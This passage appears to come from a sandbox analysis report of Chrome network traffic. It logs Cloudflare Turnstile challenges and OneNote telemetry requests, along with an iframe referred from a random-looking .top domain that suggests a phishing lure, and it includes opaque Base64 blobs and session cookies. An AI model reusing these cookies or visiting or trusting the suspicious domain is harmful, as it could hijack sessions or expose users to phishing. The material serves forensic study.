2024-10-25 08:19:40 UTC	1039	IN	Data Raw: 63 31 2b 41 57 57 31 71 62 49 4a 68 58 58 53 41 61 33 5a 30 69 34 4a 72 64 35 79 64 69 5a 47 67 6f 59 78 69 62 32 57 52 64 34 64 6a 6f 71 42 6e 59 48 68 39 70 49 79 6c 6a 59 79 53 68 4b 71 4b 70 61 79 74 6e 4c 4b 32 6a 70 36 79 66 35 71 75 75 4a 66 42 6d 72 61 6d 76 61 65 2f 75 4c 7a 50 79 59 71 7a 70 73 4b 69 79 62 54 4e 72 4b 72 46 79 35 37 54 6e 37 69 34 74 73 2f 64 6f 71 48 42 77 65 58 66 71 73 54 45 77 76 48 66 36 64 4c 32 30 4d 76 72 38 39 44 51 32 73 72 79 75 76 6a 35 38 37 2f 61 37 76 6a 6e 42 64 73 4c 36 63 76 49 78 65 2f 4e 2b 77 67 4d 44 65 62 77 42 41 6a 36 39 41 34 59 33 66 4d 68 45 78 37 36 47 42 34 44 41 50 62 38 41 77 45 48 39 65 67 69 47 79 59 4d 36 52 38 51 46 65 30 30 4d 68 41 38 2b 68 73 50 4b 43 34 52 4f 7a 59 67 48 6b 63 55 46 7a 6e Data Ascii: c1+AWW1qbIJhXXSAa3Z0i4Jrd5ydiZGgoYxib2WRd4djoqBnYHh9pIyljYyShKqKpaytnLK2jp6yf5quuJfBmramvae/uLzPyYqzpsKiybTNrKrFy57Tn7i4ts/doqHBweXfqsTEwvHf6dL20Mvr89DQ2sryuvj587/a7vjnBdsL6cvIxe/N+wgMDebwBAj69A4Y3fMhEx76GB4DAPb8AwEH9egiGyYM6R8QFe00MhA8+hsPKC4ROzYgHkcUFzn
2024-10-25 08:19:40 UTC	1369	IN	Data Raw: 50 65 56 5a 59 6b 5a 4e 77 6c 35 43 5a 59 48 32 68 6a 58 75 52 6e 34 5a 38 61 4b 75 6e 67 33 79 47 71 35 36 70 63 59 47 6f 6e 37 43 73 6a 35 79 30 6d 70 65 67 75 4a 36 78 70 4c 79 69 66 71 43 6d 6d 37 57 48 6e 72 6d 69 73 4b 57 75 78 73 75 4f 6a 63 71 7a 7a 74 6a 4b 75 4e 48 4d 7a 72 7a 55 32 4d 32 72 76 62 6e 52 32 2b 65 62 73 37 69 36 78 71 66 51 78 4e 44 43 37 61 72 75 76 2f 44 77 37 50 6e 49 30 76 66 71 39 62 33 4b 39 4f 76 38 2b 4d 4c 67 35 74 76 31 78 39 37 35 34 76 44 6c 37 67 63 4d 7a 67 30 41 44 63 2f 6e 45 50 66 57 31 52 50 37 46 53 45 54 41 52 6a 79 2b 4f 58 78 4a 2f 6f 67 46 53 45 41 4c 67 66 2b 2b 2f 73 66 41 42 41 75 46 41 6b 52 4b 69 55 4b 46 66 63 39 2f 54 6b 42 46 68 30 48 4d 44 73 79 46 67 67 59 4a 51 73 4a 54 54 77 77 49 43 30 31 49 56 Data Ascii: PeVZYkZNwl5CZYH2hjXuRn4Z8aKung3yGq56pcYGon7Csj5y0mpeguJ6xpLyifqCmm7WHnrmisKWuxsuOjcqzztjKuNHMzrzU2M2rvbnR2+ebs7i6xqfQxNDC7aruv/Dw7PnI0vfq9b3K9Ov8+MLg5tv1x9754vDl7gcMzg0ADc/nEPfW1RP7FSETARjy+OXxJ/ogFSEALgf++/sfABAuFAkRKiUKFfc9/TkBFh0HMDsyFggYJQsJTTwwIC01IV
2024-10-25 08:19:40 UTC	1369	IN	Data Raw: 65 5a 32 59 6d 70 70 64 6f 57 4f 42 6d 71 4f 53 68 6e 79 44 67 71 68 34 67 4a 71 48 71 4a 43 6f 71 57 35 78 73 36 36 79 6c 4b 39 32 64 70 79 64 66 70 53 41 6c 33 6d 32 77 63 4c 48 79 4c 75 32 76 38 32 36 75 34 37 48 73 73 37 4d 73 62 54 4b 71 36 2f 58 71 36 76 50 72 75 50 45 32 75 48 51 33 64 33 46 6f 61 54 58 76 4b 6e 43 33 61 33 64 73 4f 72 4d 76 73 76 56 77 39 4c 58 79 4e 47 32 32 4c 7a 55 39 2f 50 59 42 73 58 69 34 73 48 6d 35 41 37 56 45 41 49 4e 2f 65 50 69 37 68 66 57 34 67 4c 59 37 2b 72 35 39 75 33 7a 36 50 66 38 33 39 38 5a 35 67 63 43 34 43 55 70 43 4f 51 47 2b 67 72 70 44 77 30 32 41 79 67 71 4e 53 59 4d 44 79 59 39 45 78 73 61 51 52 67 68 45 54 42 47 4d 77 52 48 50 6a 52 48 4b 55 46 50 4b 55 73 78 44 56 52 49 51 69 46 44 4c 46 74 4d 47 78 41 Data Ascii: eZ2YmppdoWOBmqOShnyDgqh4gJqHqJCoqW5xs66ylK92dpydfpSAl3m2wcLHyLu2v826u47Hss7MsbTKq6/Xq6vPruPE2uHQ3d3FoaTXvKnC3a3dsOrMvsvVw9LXyNG22LzU9/PYBsXi4sHm5A7VEAIN/ePi7hfW4gLY7+r59u3z6Pf8398Z5gcC4CUpCOQG+grpDw02AygqNSYMDyY9ExsaQRghETBGMwRHPjRHKUFPKUsxDVRIQiFDLFtMGxA
2024-10-25 08:19:40 UTC	1369	IN	Data Raw: 70 61 63 6c 49 4f 66 6e 48 71 49 69 35 43 6f 72 47 2b 42 71 33 46 2b 72 58 43 6b 64 70 79 76 6a 72 69 66 73 36 4b 69 6f 37 65 6d 6c 71 65 37 73 38 43 72 76 37 65 6e 71 64 48 50 76 59 79 65 6c 4e 48 4e 6c 4b 71 52 72 4e 58 4e 76 4c 65 62 6d 4d 4f 31 7a 64 65 33 32 37 72 61 35 4e 37 72 77 38 50 58 77 75 57 74 7a 63 2f 6d 73 73 48 58 36 66 48 31 36 75 57 33 31 67 48 4f 41 77 4c 61 39 4f 48 32 76 39 72 63 2f 76 63 49 32 41 76 59 43 38 6b 54 36 41 33 65 33 77 59 44 37 78 7a 31 47 2b 73 42 32 75 6b 68 49 4e 38 50 32 41 63 42 42 43 77 55 42 4f 76 37 4b 43 6e 70 38 43 51 49 4a 44 59 71 47 43 73 57 2b 43 7a 76 50 44 6b 61 4d 54 73 38 44 2f 30 37 50 79 55 58 50 30 4d 71 47 30 4e 48 4c 78 39 48 53 7a 51 7a 4a 44 68 51 46 45 31 54 47 46 31 52 47 44 39 4b 58 46 46 52 Data Ascii: paclIOfnHqIi5CorG+Bq3F+rXCkdpyvjrifs6Kio7emlqe7s8Crv7enqdHPvYyelNHNlKqRrNXNvLebmMO1zde327ra5N7rw8PXwuWtzc/mssHX6fH16uW31gHOAwLa9OH2v9rc/vcI2AvYC8kT6A3e3wYD7xz1G+sB2ukhIN8P2AcBBCwUBOv7KCnp8CQIJDYqGCsW+CzvPDkaMTs8D/07PyUXP0MqG0NHLx9HSzQzJDhQFE1TGF1RGD9KXFFR
2024-10-25 08:19:40 UTC	1369	IN	Data Raw: 75 61 72 36 4e 34 5a 32 79 6e 68 5a 53 52 71 49 36 6e 73 72 71 56 69 34 2b 56 71 37 4b 73 73 62 61 77 75 73 4a 2f 73 5a 69 59 67 36 32 48 75 72 36 79 73 4e 43 6c 72 61 61 6c 6c 4c 4f 33 6c 70 66 65 72 36 6d 35 30 63 47 56 30 37 50 6a 78 63 66 4b 74 4e 72 62 72 4b 79 6d 78 63 76 44 73 66 54 79 78 38 62 59 31 66 6e 73 74 2f 66 59 39 64 58 65 41 66 54 77 41 50 73 49 31 4d 4c 58 2f 76 66 37 7a 51 44 39 34 41 66 54 44 4f 33 4f 2b 4f 50 33 44 42 76 58 2f 76 6e 62 41 51 30 56 37 42 37 38 33 52 73 62 42 65 51 62 43 68 72 36 41 53 73 4d 36 68 45 68 45 42 54 76 38 52 76 78 44 4f 34 56 4d 52 30 54 4b 76 77 33 46 43 34 37 42 42 4d 7a 54 41 63 4d 4e 6b 46 4f 45 44 45 79 53 79 41 31 4e 44 56 43 4d 55 30 74 52 6a 38 75 4f 52 38 35 50 7a 56 54 52 46 6c 66 4a 56 59 6a 58 Data Ascii: uar6N4Z2ynhZSRqI6nsrqVi4+Vq7KssbawusJ/sZiYg62Hur6ysNClraallLO3lpfer6m50cGV07PjxcfKtNrbrKymxcvDsfTyx8bY1fnst/fY9dXeAfTwAPsI1MLX/vf7zQD94AfTDO3O+OP3DBvX/vnbAQ0V7B783RsbBeQbChr6ASsM6hEhEBTv8RvxDO4VMR0TKvw3FC47BBMzTAcMNkFOEDEySyA1NDVCMU0tRj8uOR85PzVTRFlfJVYjX
2024-10-25 08:19:40 UTC	1369	IN	Data Raw: 69 6e 35 39 79 6c 58 57 30 69 32 32 71 74 5a 79 4a 74 72 79 55 6b 62 57 30 70 34 53 39 78 4a 71 70 75 38 58 47 79 72 7a 4b 78 5a 50 4f 74 4d 76 43 6a 38 57 35 72 64 6a 46 72 4d 36 58 7a 4e 66 61 34 4d 2b 34 6f 2b 66 6c 74 36 50 74 34 4e 66 6e 70 2b 61 76 76 65 76 56 79 4f 65 76 37 2b 4c 52 79 66 4c 32 36 37 66 77 36 74 48 38 2f 62 37 44 77 76 4c 45 35 50 72 32 42 41 41 52 43 77 6a 63 45 77 4c 6a 31 78 50 34 46 41 73 49 43 4e 72 39 33 52 33 7a 31 52 4d 65 42 66 45 66 4a 66 7a 35 48 68 30 51 37 43 59 74 41 78 49 6b 4c 69 38 7a 4a 53 55 4b 46 66 6b 65 44 68 33 36 50 44 73 41 51 7a 41 57 4d 77 41 70 42 42 34 49 4c 53 34 6d 4c 6b 35 4d 4c 6b 4a 4d 4b 55 74 48 55 69 34 32 54 46 51 61 50 6b 31 5a 49 54 34 79 58 45 39 67 59 6b 6c 67 57 79 56 57 51 53 78 76 58 45 Data Ascii: in59ylXW0i22qtZyJtryUkbW0p4S9xJqpu8XGyrzKxZPOtMvCj8W5rdjFrM6XzNfa4M+4o+flt6Pt4Nfnp+avvevVyOev7+LRyfL267fw6tH8/b7DwvLE5Pr2BAARCwjcEwLj1xP4FAsICNr93R3z1RMeBfEfJfz5Hh0Q7CYtAxIkLi8zJSUKFfkeDh36PDsAQzAWMwApBB4ILS4mLk5MLkJMKUtHUi42TFQaPk1ZIT4yXE9gYklgWyVWQSxvXE
2024-10-25 08:19:40 UTC	1369	IN	Data Raw: 6d 48 74 33 71 48 64 37 64 36 79 51 67 33 36 6c 75 37 4b 44 73 6f 54 47 68 72 62 44 72 49 79 38 78 37 54 45 77 49 2b 58 31 4d 57 70 79 70 66 49 6d 4d 43 65 7a 4a 75 30 6d 39 43 67 32 71 54 55 33 38 53 6e 32 4d 33 71 71 64 48 6e 7a 4c 48 68 73 4f 62 31 35 62 54 71 74 65 6a 64 38 76 44 73 30 66 61 38 38 50 76 2b 42 66 58 44 79 38 50 34 78 2b 44 48 2b 67 6a 73 7a 51 48 31 2b 4d 38 47 45 41 66 57 2f 52 54 38 31 77 37 62 34 2b 41 52 42 67 6b 6c 46 53 41 4e 48 52 6b 4f 44 65 30 65 37 43 66 76 49 69 77 72 39 43 58 7a 44 66 51 71 2b 43 76 37 4c 54 67 7a 41 79 38 38 4d 77 55 71 51 43 6b 49 4f 55 51 78 43 54 34 4e 4c 56 46 42 54 45 39 4a 52 6c 41 39 57 6b 70 55 57 78 31 4e 48 43 51 65 54 79 41 35 49 46 5a 4b 5a 79 70 5a 50 6b 30 70 58 6d 68 72 5a 57 4a 73 56 54 4a Data Ascii: mHt3qHd7d6yQg36lu7KDsoTGhrbDrIy8x7TEwI+X1MWpypfImMCezJu0m9Cg2qTU38Sn2M3qqdHnzLHhsOb15bTqtejd8vDs0fa88Pv+BfXDy8P4x+DH+gjszQH1+M8GEAfW/RT81w7b4+ARBgklFSANHRkODe0e7CfvIiwr9CXzDfQq+Cv7LTgzAy88MwUqQCkIOUQxCT4NLVFBTE9JRlA9WkpUWx1NHCQeTyA5IFZKZypZPk0pXmhrZWJsVTJ
2024-10-25 08:19:40 UTC	1369	IN	Data Raw: 4c 4b 69 73 35 2b 6b 66 35 6d 61 75 71 71 37 70 36 79 48 6f 5a 69 37 6a 63 62 45 77 36 57 74 6b 4c 6a 51 70 4d 7a 49 71 35 47 34 33 4c 2b 67 72 4d 58 62 30 71 44 49 70 72 57 6b 7a 4f 53 34 34 4e 7a 42 7a 4f 48 56 37 64 6a 35 39 4d 65 34 78 4e 33 7a 76 2f 62 75 2b 63 7a 77 38 72 2f 33 32 66 76 5a 78 77 50 39 36 38 2f 39 38 51 6e 63 46 67 54 50 36 65 4d 45 31 65 77 4e 44 42 54 30 34 41 49 59 32 79 59 68 38 2b 50 6e 43 69 48 34 47 67 34 6b 4c 7a 49 66 36 77 58 71 49 50 44 7a 4b 53 63 77 45 67 34 65 4e 54 4e 43 50 52 41 42 44 69 59 2b 4b 54 5a 45 42 69 6f 69 4f 55 59 6c 55 6b 30 67 45 53 59 32 54 54 59 75 52 56 49 78 53 6a 35 56 50 6a 5a 4e 48 7a 6c 6d 59 54 51 6b 47 30 70 68 53 6b 4a 5a 4b 30 56 65 55 6d 6c 53 53 6d 46 49 54 58 70 31 53 44 67 7a 58 6e 56 65 Data Ascii: LKis5+kf5mauqq7p6yHoZi7jcbEw6WtkLjQpMzIq5G43L+grMXb0qDIprWkzOS44NzBzOHV7dj59Me4xN3zv/bu+czw8r/32fvZxwP968/98QncFgTP6eME1ewNDBT04AIY2yYh8+PnCiH4Gg4kLzIf6wXqIPDzKScwEg4eNTNCPRABDiY+KTZEBioiOUYlUk0gESY2TTYuRVIxSj5VPjZNHzlmYTQkG0phSkJZK0VeUmlSSmFITXp1SDgzXnVe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50096	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:39 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d80c836df1d4755/1729844374089/DckShhWThQsvEsd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:39 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:39 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d80c86d991de8f9-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:39 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5a 00 00 00 19 08 02 00 00 00 3e 06 ae 97 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRZ>IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50099	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:40 UTC	1741	OUT	POST /o/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build=16.0.18214.41004&waccluster=PUS11 HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 21451 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; ShCLSessionID=1729844349229_0.9147422252239774
2024-10-25 08:19:40 UTC	16384	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 62 22 3a 22 65 6e 2d 55 53 22 2c 22 63 22 3a 22 56 69 65 77 22 2c 22 64 22 3a 22 56 49 45 57 22 2c 22 65 22 3a 22 31 36 2e 30 2e 31 38 32 31 34 2e 34 31 30 30 34 22 2c 22 66 22 3a 22 43 68 72 6f 6d 65 22 2c 22 67 22 3a 22 65 6e 2d 55 53 22 2c 22 68 22 3a 22 31 31 37 22 2c 22 69 22 3a 22 31 31 37 2e 30 2e 30 22 2c 22 6a 22 3a 22 31 36 2e 30 2e 31 38 32 31 34 2e 34 31 30 30 34 22 2c 22 6b 22 3a 22 50 55 53 31 31 22 2c 22 6c 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 22 3a 22 5c 22 4e 51 4c 59 43 55 33 67 4a 76 68 6c 71 2f 4f 4a 70 55 72 31 5a 6e 70 56 66 61 68 47 58 67 65 39 2b 30 66 42 62 54 38 53 4d 54 67 3d 5c 22 22 2c 22 6e 22 3a 22 4f 6e 65 44 72 69 76 65 57 4f 50 49 22 2c 22 6f 22 3a 74 72 75 65 Data Ascii: {"d":{"a":"OneNote","b":"en-US","c":"View","d":"VIEW","e":"16.0.18214.41004","f":"Chrome","g":"en-US","h":"117","i":"117.0.0","j":"16.0.18214.41004","k":"PUS11","l":"en-US","m":"\"NQLYCU3gJvhlq/OJpUr1ZnpVfahGXge9+0fBbT8SMTg=\"","n":"OneDriveWOPI","o":true
2024-10-25 08:19:40 UTC	5067	OUT	Data Raw: 39 39 39 39 39 38 38 2c 5c 22 72 65 64 69 72 65 63 74 53 74 61 72 74 5c 22 3a 30 2c 5c 22 72 65 64 69 72 65 63 74 45 6e 64 5c 22 3a 30 2c 5c 22 72 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 31 30 32 39 36 2e 39 30 30 30 30 30 30 30 30 30 32 33 2c 5c 22 72 65 73 70 6f 6e 73 65 53 74 61 72 74 5c 22 3a 31 30 37 39 39 2e 30 39 39 39 39 39 39 39 39 39 37 37 2c 5c 22 72 65 73 70 6f 6e 73 65 45 6e 64 5c 22 3a 31 31 30 36 30 2e 35 2c 5c 22 66 65 74 63 68 53 74 61 72 74 5c 22 3a 39 34 34 39 2c 5c 22 77 6f 72 6b 65 72 53 74 61 72 74 5c 22 3a 30 2c 5c 22 64 75 72 61 74 69 6f 6e 5c 22 3a 31 36 31 31 2e 35 2c 5c 22 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 31 34 34 33 34 38 2c 5c 22 65 6e 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 31 34 34 33 34 38 2c Data Ascii: 9999988,\"redirectStart\":0,\"redirectEnd\":0,\"requestStart\":10296.900000000023,\"responseStart\":10799.099999999977,\"responseEnd\":11060.5,\"fetchStart\":9449,\"workerStart\":0,\"duration\":1611.5,\"decodedBodySize\":144348,\"encodedBodySize\":144348,
2024-10-25 08:19:40 UTC	1102	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 8393557b-d2a5-40eb-ab55-f9b56142a7da X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C81 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C81 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 2F62324776EC4A859A198C5E1395D133 Ref B: DFW311000108017 Ref C: 2024-10-25T08:19:40Z Date: Fri, 25 Oct 2024 08:19:39 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50100	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:40 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/108716333:1729840349:MNYBExQDb_OXX_5iH2pcoBn0kfPmYx9lZzGMR5dM-_8/8d80c836df1d4755/9gYrRX4_mXpfUfGJwMvbjMQte_yveaXpVkV1gwBL9hE-1729844371-1.1.1.1-FgoDOVBzJ9Zg_wZBd.4sezGSL36I5k5yYE.sz7BKlYBGbC6llPM6FNeK1RDPoRlf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:40 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:19:40 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: /Z6OZfwF1jHConzM11wLjpz15aZPdkbwlD0=$e7feoJrZYWzft95I Server: cloudflare CF-RAY: 8d80c87439a14785-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:40 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50101	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:40 UTC	860	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:40 UTC	1369	IN	HTTP/1.1 400 Bad Request Date: Fri, 25 Oct 2024 08:19:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 684 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-25 08:19:40 UTC	157	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 3a 20 36 79 42 45 7a 46 35 59 39 35 67 68 61 6b 47 30 66 70 6b 6d 46 4d 31 70 4a 65 38 46 69 4a 7a 75 50 6f 76 4d 52 52 73 57 72 49 61 48 24 33 4b 4c 5a 53 67 34 52 57 63 41 56 57 36 69 52 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 38 30 63 38 37 34 61 64 39 61 34 37 34 65 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cf-chl-out: 6yBEzF5Y95ghakG0fpkmFM1pJe8FiJzuPovMRRsWrIaH$3KLZSg4RWcAVW6iRServer: cloudflareCF-RAY: 8d80c874ad9a474e-DFWalt-svc: h3=":443"; ma=86400
2024-10-25 08:19:40 UTC	684	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 3c Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50102	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:41 UTC	657	OUT	GET /o/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build=16.0.18214.41004&waccluster=PUS11 HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; ShCLSessionID=1729844349229_0.9147422252239774
